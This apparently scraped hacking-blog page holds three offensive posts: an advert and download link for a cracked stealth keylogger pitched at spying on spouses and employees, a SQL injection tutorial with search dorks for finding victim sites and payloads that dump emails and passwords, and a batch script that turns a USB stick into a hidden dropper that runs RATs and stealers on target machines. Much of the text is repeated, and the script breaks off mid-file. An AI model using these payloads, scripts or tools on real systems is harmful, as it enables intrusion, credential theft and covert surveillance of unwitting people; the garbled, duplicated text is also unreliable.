WIN SPY PRO v9.0.175 crack.
Do you need to know what your child is doing on the computer?
Is your spouse cheating on you?
Do you need to monitor what your employees are doing during work hours?
Is someone tampering with your computer while you are away?
With Win Spy Software you will know exactly what they are doing.
WinSpy is a Complete Stealth Monitoring Software that can both monitor your Local PC and Remote PC.
WinSpy Software also includes Remote Install.
WinSpy Software will capture anything the user sees or types on the keyboard. Users will be unaware of its existence.
A special hotkey is used to login and access Win Spy Software.
Users are unable to terminate WinSpy.
Users are unable to uninstall WinSpy.
PRODUCT FEATURES:• Stealth Monitoring
• Key Recorder
• Screen Capture
• KeyWord Alerter
• Folder Hider
• Monitor Networks
• Clear Tracks Utility
• WebCam via Internet
• Lost PC Tracking
• Secure File Deletion
• Time on Net Report
• Websites Visited Reports
• Immune to Anti-Spyware
• NEW – Remote Install
• NEW – Remote Screen Capture
• NEW – Remote Keylogger
• NEW – Remote PC Browser
• NEW – Notify’s User Online
• NEW – Remote Sound Lis/Rec
• NEW – Remote Cam View/Rec
• NEW – Remote file launch
• NEW – DualSide Chat Recording
• NEW – Remote PC Shutdown
• NEW – Remote PC FTP
• NEW – WebCam-Motion Detect
• NEW – WebAccess Remote PC
- Monitor Chat Room (dual side) and Web Activity
- Monitor any Email
- Monitor Children’s activities on Computer / Web
- Monitor Employees or counter monitor employers
- Monitor a cheating spouse
- Records any password
- Monitors across networks
- Monitor by user
- Monitor via Webcam (record/view)
- Monitor via Mic (record/view)
- Monitor multiple remote PC
- Remote Deployment and Monitoring
- Remote FTP (upload/download) any file to remote PC
- Password Protected and special Hot Key for program
- Monitor in Total Stealth
- Monitor Remote PC Webcam
OS: Win98/ME/NT40/2000/XP/ Vista 32
Homepage:
| Code: |
| http://www.win-spy.com |
Download:
| Code: |
| http://rapidshare.com/files/102368698/Win-Spy.rar |
Tag :
Keyloggers
Great Tutorial for Hacking Websites with SQL injection.
Contents
1A: Understanding SQL Injection
1B: Tricks & Tools
1C: Requirements
------
2A: Searching for Targets
2B: Testing Targets for Vulnerabilities
2C: Finding Columns
2D: Finding Vulnerable Columns
------
3A: Obtaining the SQL version
3B: Version 4
- 1. Obtaining Tables & Columns
- 2. Commands
3C: Version 5
- 1. Obtaining Table Names
- 2. Obtaining Column Names from Tables
1A: Understanding SQL Injection
1B: Tricks & Tools
1C: Requirements
------
2A: Searching for Targets
2B: Testing Targets for Vulnerabilities
2C: Finding Columns
2D: Finding Vulnerable Columns
------
3A: Obtaining the SQL version
3B: Version 4
- 1. Obtaining Tables & Columns
- 2. Commands
3C: Version 5
- 1. Obtaining Table Names
- 2. Obtaining Column Names from Tables
------------------------------------------------------------------------
1A: Understanding SQL Injection
SQL Injection is one of todays most powerful methods of system penetration, using error
based queries one is able to extract data (tables & columns) from a vulnerable system,
namely the (database).
1B: Tricks & Tips
Beginners tend to believe that using tools created by advanced SQL injection artists are the
best way around things, please believe that they aren't, everything seems nice and easy with
tools such as (BSQLi and SQLi Helper) which they are, but the users posting the download
links for both applications around the world on hacking forums have been known to very
securely encrypt these tools with malicious files or backdoors etc, I've experienced this
first hand when I first started out. Learning everything manually will help you understand
the environment you are attempting to penetrate, whilst experimenting with commands you have
learnt will only help you become more advanced in SQL injection, as for tricks, there are
many articles named (Cheat Sheets) because this is what they are, purposely created for SQL
injectors to use commands which aren't normally spoken of or known about, Samples are
provided to allow the reader to get basic idea of a potential attack.
1C: Requirements:
When I first started SQL injection personally for me it wasn't to hard to get on the ball
and learn quickly, this is because I had previous knowledge of web-scripts, how the internet
works, and the ability to read and understand complicated tutorials. I believe it's a whole
lot easier if you know the basics of a computer system and how the internet works.
To learn you must be able to read and understand the tutorial or article provided and take
on board everything you see. When I was a beginner I found it easier to attack whilst
reading, do everything in stages, don't read the whole tutorial and go off and expect to
inject off the top of your head.
1A: Understanding SQL Injection
SQL Injection is one of todays most powerful methods of system penetration, using error
based queries one is able to extract data (tables & columns) from a vulnerable system,
namely the (database).
1B: Tricks & Tips
Beginners tend to believe that using tools created by advanced SQL injection artists are the
best way around things, please believe that they aren't, everything seems nice and easy with
tools such as (BSQLi and SQLi Helper) which they are, but the users posting the download
links for both applications around the world on hacking forums have been known to very
securely encrypt these tools with malicious files or backdoors etc, I've experienced this
first hand when I first started out. Learning everything manually will help you understand
the environment you are attempting to penetrate, whilst experimenting with commands you have
learnt will only help you become more advanced in SQL injection, as for tricks, there are
many articles named (Cheat Sheets) because this is what they are, purposely created for SQL
injectors to use commands which aren't normally spoken of or known about, Samples are
provided to allow the reader to get basic idea of a potential attack.
1C: Requirements:
When I first started SQL injection personally for me it wasn't to hard to get on the ball
and learn quickly, this is because I had previous knowledge of web-scripts, how the internet
works, and the ability to read and understand complicated tutorials. I believe it's a whole
lot easier if you know the basics of a computer system and how the internet works.
To learn you must be able to read and understand the tutorial or article provided and take
on board everything you see. When I was a beginner I found it easier to attack whilst
reading, do everything in stages, don't read the whole tutorial and go off and expect to
inject off the top of your head.
------------------------------------------------------------------------
2A Searching for Targets
Ahh, the beauty of searching for targets is a lot easier than it sounds, the most common
method of searching is (Dorks). Dorks are an input query into a search engine (Google) which
attempt to find websites with the given texxt provided in the dork itself. So navigate to
Google and copy the following into the search box:
inurl:"products.php?prodID="
This search will return websites affiliated with Google with "products.php?prodID=" within
the URL.
You can find a wide range of dorks to use by searching the forum.
I advise you to create your own dorks, be original, but at the same time unique, think of
something to use that not many people would have already searched and tested.
An example of a dork I would make up:
inurl:"/shop/index.php?item_id=" & ".co.uk"
So using your own dorks isn't a bad thing at all, sometimes your dorks wont work, nevermind
even I get it..
------------------------------------------------------------------------
2B: Testing Targets for Vulnerabilities
It's important that this part's done well. I'll explain this as simply as I can.
After opening a URL found in one of your dork results on Google you now need to test the
site if it's vulnerable to SQL injection.
Example:
http://www.site.com/index.php?Client_id=23
To test, just simply add an asterik ' at the end of the URL
Example:
http://www.site.com/index.php?Client_id=23'
How to tell if the sites vulnerable:
- Missing text, images, spaces or scripts from the original page.
- Any kind of typical SQL error (fetch_array) etc.
So if the website you're testing produces any of the above then the site is unfortunately
vulnerable, which is where the fun starts.
------------------------------------------------------------------------
2C: Finding Columns & the Vulnerable Columns
As I noted in the first section of the tutorial I advise you do pretty much everything
manually with SQL injection, so by using the following commands (providing they're followed
correctly) you will begin to see results in no time :D
Example:
http://www.site.com/index.php?Client_id=23'
^^^^^^^^^^^^^^^^^^^^^^^^
IF THE SITE IS VULNERABLE
Refer to the following to checking how many columns there are.
(order+by) the order by function tells the database to order columns by an integer (digit
e.g. 1 or 2), no errors returned means the column is there, if there's an error returned the
column isnt there
wxw.site.com/index.php?Client_id=23+order+by+1 < No Error
wxw.site.com/index.php?Client_id=23+order+by+2 < No Error
wxw.site.com/index.php?Client_id=23+order+by+3 < No Error
wxw.site.com/index.php?Client_id=23+order+by+4 < ERROR
From using order+by+ command and incremating the number each time until the page
displays an error is the easiest method to find vulnerable columns, so from the examples
above when attempting to order the columns by 4 there's an error, and so column 4 doesn't
exist, so there's 3 columns.
------------------------------------------------------------------------
2D: Finding Vulnerable Columns
Ok so let's say we were working on the site I used above, which has 3 columns. We now need
to find out which of those three coluns are vulnerable. Vulnerable columns allow us to
submit commands and queries to the SQL database through the URL. (union+select)
Selects all columns provided in the URL and returns the value of the vulnerable column e.g.
2.
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3
The site should refresh, not with an error but with some content missing and a number is
displayed on the page, either 1, 2 or 3 (as we selected the three columns in the above URL
to test for column vulnerability).
Sometimes the page will return and look completely normal, which isn't a problem. Some sites
you are required to null the value you're injecting into.
In simpler terms, the =23 you see in the above URL after Client_id must be nulled in order
to return with the vulnerable column. So we simply put a hyphen (minus sign) before the 23
like so: -23
So the URL should now look something like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,2,3
Now that should work, let's say the page refreshes and displays a 2 on the page, thus 2
being the vulnerable column for us to inject into.
2A Searching for Targets
Ahh, the beauty of searching for targets is a lot easier than it sounds, the most common
method of searching is (Dorks). Dorks are an input query into a search engine (Google) which
attempt to find websites with the given texxt provided in the dork itself. So navigate to
Google and copy the following into the search box:
inurl:"products.php?prodID="
This search will return websites affiliated with Google with "products.php?prodID=" within
the URL.
You can find a wide range of dorks to use by searching the forum.
I advise you to create your own dorks, be original, but at the same time unique, think of
something to use that not many people would have already searched and tested.
An example of a dork I would make up:
inurl:"/shop/index.php?item_id=" & ".co.uk"
So using your own dorks isn't a bad thing at all, sometimes your dorks wont work, nevermind
even I get it..
------------------------------------------------------------------------
2B: Testing Targets for Vulnerabilities
It's important that this part's done well. I'll explain this as simply as I can.
After opening a URL found in one of your dork results on Google you now need to test the
site if it's vulnerable to SQL injection.
Example:
http://www.site.com/index.php?Client_id=23
To test, just simply add an asterik ' at the end of the URL
Example:
http://www.site.com/index.php?Client_id=23'
How to tell if the sites vulnerable:
- Missing text, images, spaces or scripts from the original page.
- Any kind of typical SQL error (fetch_array) etc.
So if the website you're testing produces any of the above then the site is unfortunately
vulnerable, which is where the fun starts.
------------------------------------------------------------------------
2C: Finding Columns & the Vulnerable Columns
As I noted in the first section of the tutorial I advise you do pretty much everything
manually with SQL injection, so by using the following commands (providing they're followed
correctly) you will begin to see results in no time :D
Example:
http://www.site.com/index.php?Client_id=23'
^^^^^^^^^^^^^^^^^^^^^^^^
IF THE SITE IS VULNERABLE
Refer to the following to checking how many columns there are.
(order+by) the order by function tells the database to order columns by an integer (digit
e.g. 1 or 2), no errors returned means the column is there, if there's an error returned the
column isnt there
wxw.site.com/index.php?Client_id=23+order+by+1 < No Error
wxw.site.com/index.php?Client_id=23+order+by+2 < No Error
wxw.site.com/index.php?Client_id=23+order+by+3 < No Error
wxw.site.com/index.php?Client_id=23+order+by+4 < ERROR
From using order+by+ command and incremating the number each time until the page
displays an error is the easiest method to find vulnerable columns, so from the examples
above when attempting to order the columns by 4 there's an error, and so column 4 doesn't
exist, so there's 3 columns.
------------------------------------------------------------------------
2D: Finding Vulnerable Columns
Ok so let's say we were working on the site I used above, which has 3 columns. We now need
to find out which of those three coluns are vulnerable. Vulnerable columns allow us to
submit commands and queries to the SQL database through the URL. (union+select)
Selects all columns provided in the URL and returns the value of the vulnerable column e.g.
2.
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3
The site should refresh, not with an error but with some content missing and a number is
displayed on the page, either 1, 2 or 3 (as we selected the three columns in the above URL
to test for column vulnerability).
Sometimes the page will return and look completely normal, which isn't a problem. Some sites
you are required to null the value you're injecting into.
In simpler terms, the =23 you see in the above URL after Client_id must be nulled in order
to return with the vulnerable column. So we simply put a hyphen (minus sign) before the 23
like so: -23
So the URL should now look something like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,2,3
Now that should work, let's say the page refreshes and displays a 2 on the page, thus 2
being the vulnerable column for us to inject into.
------------------------------------------------------------------------
3A: Obtaining the SQL Verison
Easier said than done, using the information found in the above sections e.g. amount of
columns and the vulnerable column. We now use a command (@@version) and in some cases
a series of commands to determine what the SQL version is on the current site. Version 4 or
version 5. See the example below to view what a URL should look like when the version
command has been inserted into the URL replacing the number 2 as 2 is the vulnerable column
on the example site.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,@@version,3
What you need to look for is a series of numbers e.g:
5.0.89-community
4.0.45-log
If the above failes and the site just returns an error or displays normally then we need to
use the convert function in order for the server to understand the command, don't worry
though this is usually the only thing you need to convert and it's on a rare occasion where
this is the case.
So, if the example site returned an error we need to replace @@version with the convert()
function:
convert(@@version using latin1)
So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,convert(@@version using latin1),3
Now if the page still decides to not return the error then the query must be hexxed:
unhex(hex(@@version))
So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,unhex(hex(@@version)),3
Depending on which version the SQL server it is, whether it be 4, or 5 the queries for
obtaining data from both versions are different, version 4 and 5 tables are explained below
------------------------------------------------------------------------
3B Version 4
- 1. Obtaining Tables and Columns
You will notice that obtaining tables and columns from version 4 MySQL servers is a little
more time consuming and confusing at times as we have to guess pretty much everyhing.
Because version 5 is more up to date and has information_schema which the database and
tables are stored in, MySQL version 4 doesn't.
Providing the MySQL version of the website is 4, we must do the following.
So, back to the example URL:
wxw.site.com/index.php?Client_id=23+union+select+1,@@version,3
We must now go back to the original URL which is:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3
This is where the guessing begins, we need to guess table names.
How can we tell if the table name I guess exists?
The same as where we tested for the amount of columns.
If no error is produced then the table guessed exists.
Is there is an error then the table guessed doesn't exist, so just try another.
So we use the (from) command followed by the table name you are looking to see
exists.
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin
Usual tables most people search for consist of obtaining user data, so again, be creative
just like with the dorks, common table names I use:
tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer,
customers, orders, phpbb_users, phpbb_admins
So if we tried the following as an example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin
^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from user
^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from users
^^^^^
No Error
Now which table do you think exists..?
:D The table users exists
We are now required to guess column names from the existing table. So thinking logically,
which labelled columns within this table would represent data? Columns such as:
first_name, last_name, email, username, password, pass, user_id
^^^^^^^^^^^^^^^^^^^^^^^^^
Typical columns found in the users table.
So we now must think back to which column is vulnerable (in this case 2) and so we'll use
the URL and replace 2 with the column name you are attempting to see if exists in the users
table. Let's try a few of the typicals listed above:
wxw.site.com/index.php?Client_id=23+union+select+1,f_name,3 from users
^^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,l_name,3 from users
^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,address1,3 from users
^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,email,3 from users
^^^^^
No Error
From the above we can clearly see that the column email exists within the table users, the
page should return displaying data (most probably an email address) or the data you are
extracting i.e if you pulled password from users and the column exists the first password
within that column will be displayed on screen.
2. Commands
From here we will be able to use certain commands to determine the amount of data we pull
from the database or which exact record you wish to pull from a column.
concat()
We will now use the concat() function to extract data from multiple columns if only one
column is vulnerable, in this case remembering back the vulnerable column is 2, so we can
only query in within this space.
Command: concat(columnname1,0x3a,columnname2)
0x3a is the hex value of a semi-colon : so the output data from the query will be displayed
like:this
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,concat(email,0x3a,password),3 from users
The above will output the first email and password found in the table.
group_concat():
We will now use the group_concat() function to group all data from one column and display
them on one page. Same as the above concat() command just grouping all records together and
displaying them as one.
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,group_concat(email,0x3a,pass),3 from
users
Now the above should return ALL e-mails and passwords listed in the email and passwords
column within the users table.
limit 0,1
The limit command is somewhat useful if you're looking for a specific data record. Say for
instance we wanted to obtain the 250th record for emails in the table users. We would use:
limit 250,1
Thus displaying the 250th e-mail within the data.
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,email,3+from+users+limit+250,1
3A: Obtaining the SQL Verison
Easier said than done, using the information found in the above sections e.g. amount of
columns and the vulnerable column. We now use a command (@@version) and in some cases
a series of commands to determine what the SQL version is on the current site. Version 4 or
version 5. See the example below to view what a URL should look like when the version
command has been inserted into the URL replacing the number 2 as 2 is the vulnerable column
on the example site.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,@@version,3
What you need to look for is a series of numbers e.g:
5.0.89-community
4.0.45-log
If the above failes and the site just returns an error or displays normally then we need to
use the convert function in order for the server to understand the command, don't worry
though this is usually the only thing you need to convert and it's on a rare occasion where
this is the case.
So, if the example site returned an error we need to replace @@version with the convert()
function:
convert(@@version using latin1)
So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,convert(@@version using latin1),3
Now if the page still decides to not return the error then the query must be hexxed:
unhex(hex(@@version))
So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,unhex(hex(@@version)),3
Depending on which version the SQL server it is, whether it be 4, or 5 the queries for
obtaining data from both versions are different, version 4 and 5 tables are explained below
------------------------------------------------------------------------
3B Version 4
- 1. Obtaining Tables and Columns
You will notice that obtaining tables and columns from version 4 MySQL servers is a little
more time consuming and confusing at times as we have to guess pretty much everyhing.
Because version 5 is more up to date and has information_schema which the database and
tables are stored in, MySQL version 4 doesn't.
Providing the MySQL version of the website is 4, we must do the following.
So, back to the example URL:
wxw.site.com/index.php?Client_id=23+union+select+1,@@version,3
We must now go back to the original URL which is:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3
This is where the guessing begins, we need to guess table names.
How can we tell if the table name I guess exists?
The same as where we tested for the amount of columns.
If no error is produced then the table guessed exists.
Is there is an error then the table guessed doesn't exist, so just try another.
So we use the (from) command followed by the table name you are looking to see
exists.
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin
Usual tables most people search for consist of obtaining user data, so again, be creative
just like with the dorks, common table names I use:
tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer,
customers, orders, phpbb_users, phpbb_admins
So if we tried the following as an example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin
^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from user
^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from users
^^^^^
No Error
Now which table do you think exists..?
:D The table users exists
We are now required to guess column names from the existing table. So thinking logically,
which labelled columns within this table would represent data? Columns such as:
first_name, last_name, email, username, password, pass, user_id
^^^^^^^^^^^^^^^^^^^^^^^^^
Typical columns found in the users table.
So we now must think back to which column is vulnerable (in this case 2) and so we'll use
the URL and replace 2 with the column name you are attempting to see if exists in the users
table. Let's try a few of the typicals listed above:
wxw.site.com/index.php?Client_id=23+union+select+1,f_name,3 from users
^^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,l_name,3 from users
^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,address1,3 from users
^^^
Error
wxw.site.com/index.php?Client_id=23+union+select+1,email,3 from users
^^^^^
No Error
From the above we can clearly see that the column email exists within the table users, the
page should return displaying data (most probably an email address) or the data you are
extracting i.e if you pulled password from users and the column exists the first password
within that column will be displayed on screen.
2. Commands
From here we will be able to use certain commands to determine the amount of data we pull
from the database or which exact record you wish to pull from a column.
concat()
We will now use the concat() function to extract data from multiple columns if only one
column is vulnerable, in this case remembering back the vulnerable column is 2, so we can
only query in within this space.
Command: concat(columnname1,0x3a,columnname2)
0x3a is the hex value of a semi-colon : so the output data from the query will be displayed
like:this
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,concat(email,0x3a,password),3 from users
The above will output the first email and password found in the table.
group_concat():
We will now use the group_concat() function to group all data from one column and display
them on one page. Same as the above concat() command just grouping all records together and
displaying them as one.
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,group_concat(email,0x3a,pass),3 from
users
Now the above should return ALL e-mails and passwords listed in the email and passwords
column within the users table.
limit 0,1
The limit command is somewhat useful if you're looking for a specific data record. Say for
instance we wanted to obtain the 250th record for emails in the table users. We would use:
limit 250,1
Thus displaying the 250th e-mail within the data.
Example:
wxw.site.com/index.php?Client_id=23+union+select+1,email,3+from+users+limit+250,1
------------------------------------------------------------------------
Version 5
- 1. Obtaining Table Names
Now after that painstaking version 4 malakey lol, we're onto version 5, the easiest and
quickest version of MySQL to hack, so many things are already done for you, so realise the
possibilities and be imaginative.
Obtaining table names for version 5 MySQL servers is simple, using information_schema.tables
< For table extraction
So, example of the URL from earlier, but imagine it is now version 5
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,table_name,3+from+information_schema.tab
les
The above URL will display only the first table name which is listed in the database
information_schema. So using group_concat()just like in version 4 works with the same principle.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3 from
information_schema.tables
We should now be able to see all the tables listed on one page, sometimes the last tables
will be cut off the end because a portion of the page will be covered in table names from
information_schema which aren't useful for us so really, I usually prefer to display table
names from the primary database rather than information_schema, we can do the following by
using the +where+table_schema=database() command:
where => A query for selection
table_schema => Schema of tables from a database
database() => In context the primary database, just leave it as it is.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3+from+informat
ion_schema.tables+where+table_schema=database()
Example List of tables:
About, Admin, Affiliates, Access, Customer, Users
Now all tables should be displayed from the primary database, take your pick and get ready
to extract columns.
2. Obtaining Column Names from Table Names
Ok, suggesting from the above we decided to obtain column information from the table Admin.
Using information_schema once again but this time we will be using:
informaiton_schema.columns
instead of
informtion_schema.tables (as we want to extract columns now, not tables)
The thing with obtaining column information is similar to the principle of obtaining columns in version 4, except we dont have to guess, once again just one command lists them all when combines with group_concat()
Command:
Edit the vulnerable column (in this case 2) to:
column_name instead of table_name
And the end of the URL to:
+from+information_schema.columns where table_name=TableNameHEX
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=Admin
Now the above will return an error because of the way the command is used at the end of the URL (where table_name=Admin)
We must HEX the table name, in this case Admin
I use THIS website to for converting Text to Hex.
The HEX of Admin is: 41646d696e
Now we must add 0x (MySQL integer) at the front of the HEX, which should now look like this: 0x41646d696e
And pop it onto the end of the URL replacing Admin, so the URL should look something like the following.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x41646d696e
Now all columns from the table Admin will be displayed on the page, just the same as version 4 we will use the same command to extract data from certain columns within the table.
Say for instance the following columns were displayed:
username, password, id, admin_user
We would be able to do the same as version 4, replacing the vulnerable column (2) with a column name (one of the above) i.e. username and password using the concat() function.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,concat(username,0x3a,password),3+from+Admin
Will display the first username and password data entries from the columns username and password in the table Admin.
You can still use group_concat() & limit 0,1
Exactly the same as version 4.
Version 5
- 1. Obtaining Table Names
Now after that painstaking version 4 malakey lol, we're onto version 5, the easiest and
quickest version of MySQL to hack, so many things are already done for you, so realise the
possibilities and be imaginative.
Obtaining table names for version 5 MySQL servers is simple, using information_schema.tables
< For table extraction
So, example of the URL from earlier, but imagine it is now version 5
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,table_name,3+from+information_schema.tab
les
The above URL will display only the first table name which is listed in the database
information_schema. So using group_concat()just like in version 4 works with the same principle.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3 from
information_schema.tables
We should now be able to see all the tables listed on one page, sometimes the last tables
will be cut off the end because a portion of the page will be covered in table names from
information_schema which aren't useful for us so really, I usually prefer to display table
names from the primary database rather than information_schema, we can do the following by
using the +where+table_schema=database() command:
where => A query for selection
table_schema => Schema of tables from a database
database() => In context the primary database, just leave it as it is.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3+from+informat
ion_schema.tables+where+table_schema=database()
Example List of tables:
About, Admin, Affiliates, Access, Customer, Users
Now all tables should be displayed from the primary database, take your pick and get ready
to extract columns.
2. Obtaining Column Names from Table Names
Ok, suggesting from the above we decided to obtain column information from the table Admin.
Using information_schema once again but this time we will be using:
informaiton_schema.columns
instead of
informtion_schema.tables (as we want to extract columns now, not tables)
The thing with obtaining column information is similar to the principle of obtaining columns in version 4, except we dont have to guess, once again just one command lists them all when combines with group_concat()
Command:
Edit the vulnerable column (in this case 2) to:
column_name instead of table_name
And the end of the URL to:
+from+information_schema.columns where table_name=TableNameHEX
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=Admin
Now the above will return an error because of the way the command is used at the end of the URL (where table_name=Admin)
We must HEX the table name, in this case Admin
I use THIS website to for converting Text to Hex.
The HEX of Admin is: 41646d696e
Now we must add 0x (MySQL integer) at the front of the HEX, which should now look like this: 0x41646d696e
And pop it onto the end of the URL replacing Admin, so the URL should look something like the following.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x41646d696e
Now all columns from the table Admin will be displayed on the page, just the same as version 4 we will use the same command to extract data from certain columns within the table.
Say for instance the following columns were displayed:
username, password, id, admin_user
We would be able to do the same as version 4, replacing the vulnerable column (2) with a column name (one of the above) i.e. username and password using the concat() function.
Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,concat(username,0x3a,password),3+from+Admin
Will display the first username and password data entries from the columns username and password in the table Admin.
You can still use group_concat() & limit 0,1
Exactly the same as version 4.
Tag :
SQL injection
TOOLS for Hacking Website with SQL Injection.
1. SQLi Helper 2.7 by reiluke
Very useful tool. Just type vun website link and hit inject.
Download link:
Very useful tool. Just type vun website link and hit inject.
Download link:
Code:
2. darkMySQLi.py by rsauron from darkc0de.com
Download link:
Code:
To use this program, you will need python. Python download link:
Code:
How to use?
1. Install Python to C:\ (or other drive, wocares)
2. Unrar darkMySQLi.py to Python25 folder
3. Go to: Start --> Run --> cmd
4. In cmd type cd C:\Python25\
5. It looks like C:\Python25. Now type python darkMySQLi.py and hit enter.
6. You will see program notes in command line. Type "--help" and program will show you all options.
3. Admin login page finder by reiluke
![[Image: adminfinder.th.jpg]](http://img269.imageshack.us/my.php?image=adminfinder.jpg){kind=small}
This program helps you to find admin login page. Remember, then you type website url, always add / on url end.
Download link:
Code:
4. Blind SQLi by reiluke
Helps to dump data when you using blind SQLi.
Download link:
Code:
5. Diamondhack vuln scanner
Scanning websites and shows vuns. Type dork, and wait a few minutes.
Download link:
Code:
http://www.2shared.com/file/6087022/39a77acb/DiamondhackVulnScanner.html
Tag :
SQL injection
Making a Ultimate Hacking USB with Only .BAT files.
I have seen many different attempts at creating a USB hacking tool. The switchblade and hacksaw were okay, but they would set off many alarms deeming it useless, so I propose something different.
This uses (3) simple batch files, Go.bat, injector.bat, and sysinfo.bat. Save all three of these files to the root of any usb. Then run go.bat, it will create a hidden directory on your usb drive called Recycler.
Note: after first run the folders, and go.bat will be hidden system files, and injector, and sysinfo will move into another folder, they will no longer be in the root.
In this folder there are three sub folders, System (scripts will install here), Docs (logs go here) and BIN (Put any executable here, .exe, .bat, or .vbs, and it will copy it the target computer and execute it)
The concept here is there are no better tools for USB hacking than Rats, Stealers, Keyloggers, Downloaders, AV Killers, etc, that can be found on this site and made fud with the available crypters here. The reason for the copy and execute is because if you use an encryption algorithym like Blowfish for example, the execution time can be minutes or at least a long time. Longer than you probably want to stick around. I have copied and executed 15 files at once, like I-stealer, Cybergate, etc, and it takes about 10-15 seconds.
While this is occurring a second script is using windows tools to gather some quick intel like external ip, history, network statistics, ports utilized, etc.
I run this on a machine with KIS 2011 on it and no alarms occur, if your files are fud.
So here goes, thanks to Pithbot and Forum_Reader for their assistance.
Save all three files to root of usb and run go.bat. When complete your usb eject menu will come up, after that add some files to the BIN folder and see this will do.
::__Go.bat__::
This uses (3) simple batch files, Go.bat, injector.bat, and sysinfo.bat. Save all three of these files to the root of any usb. Then run go.bat, it will create a hidden directory on your usb drive called Recycler.
Note: after first run the folders, and go.bat will be hidden system files, and injector, and sysinfo will move into another folder, they will no longer be in the root.
In this folder there are three sub folders, System (scripts will install here), Docs (logs go here) and BIN (Put any executable here, .exe, .bat, or .vbs, and it will copy it the target computer and execute it)
The concept here is there are no better tools for USB hacking than Rats, Stealers, Keyloggers, Downloaders, AV Killers, etc, that can be found on this site and made fud with the available crypters here. The reason for the copy and execute is because if you use an encryption algorithym like Blowfish for example, the execution time can be minutes or at least a long time. Longer than you probably want to stick around. I have copied and executed 15 files at once, like I-stealer, Cybergate, etc, and it takes about 10-15 seconds.
While this is occurring a second script is using windows tools to gather some quick intel like external ip, history, network statistics, ports utilized, etc.
I run this on a machine with KIS 2011 on it and no alarms occur, if your files are fud.
So here goes, thanks to Pithbot and Forum_Reader for their assistance.
Save all three files to root of usb and run go.bat. When complete your usb eject menu will come up, after that add some files to the BIN folder and see this will do.
::__Go.bat__::
Code:
@(echo off & break off & Title _) >nul
If %~d0 == %systemdrive% goto :EOF
::First Run
Set wrkdir="\Recycler\S-1-5-21-1844237615-1757981266-1417001333-1003\System"
If exist %wrkdir% CD %wrkdir% >nul & Goto Next
If not exist %wrkdir% mkdir %wrkdir% >nul
Attrib +s +h Recycler /d /s
:Next
if exist injector.bat copy /y injector.bat %wrkdir% >nul && del /f /q %~d0\injector.bat >nul
if exist sysinfo.bat copy /y sysinfo.bat %wrkdir% >nul && del /f /q %~d0\sysinfo.bat >nul
if exist inject.vbs del /f /q %~d0\inject.vbs >nul
if exist sysinfo.vbs del /f /q %~d0\sysinfo.vbs >nul
CD %wrkdir%>nul
If exist inject.vbs Start "" inject.vbs>nul & Goto Next1
If exist injector.bat Start "" injector.bat >nul
:Next1
If exist sysinfo.vbs Start "" sysinfo.vbs >nul & Goto Next2
Call sysinfo.bat
:Next2
attrib +s +h %0
cls
exit
If %~d0 == %systemdrive% goto :EOF
::First Run
Set wrkdir="\Recycler\S-1-5-21-1844237615-1757981266-1417001333-1003\System"
If exist %wrkdir% CD %wrkdir% >nul & Goto Next
If not exist %wrkdir% mkdir %wrkdir% >nul
Attrib +s +h Recycler /d /s
:Next
if exist injector.bat copy /y injector.bat %wrkdir% >nul && del /f /q %~d0\injector.bat >nul
if exist sysinfo.bat copy /y sysinfo.bat %wrkdir% >nul && del /f /q %~d0\sysinfo.bat >nul
if exist inject.vbs del /f /q %~d0\inject.vbs >nul
if exist sysinfo.vbs del /f /q %~d0\sysinfo.vbs >nul
CD %wrkdir%>nul
If exist inject.vbs Start "" inject.vbs>nul & Goto Next1
If exist injector.bat Start "" injector.bat >nul
:Next1
If exist sysinfo.vbs Start "" sysinfo.vbs >nul & Goto Next2
Call sysinfo.bat
:Next2
attrib +s +h %0
cls
exit
::__Injector.bat__::
Code:
@(echo off & break off & Title _) >nul
::-----------------------------------------------------------------------------------------------------------------------------::
::This is called the Injector
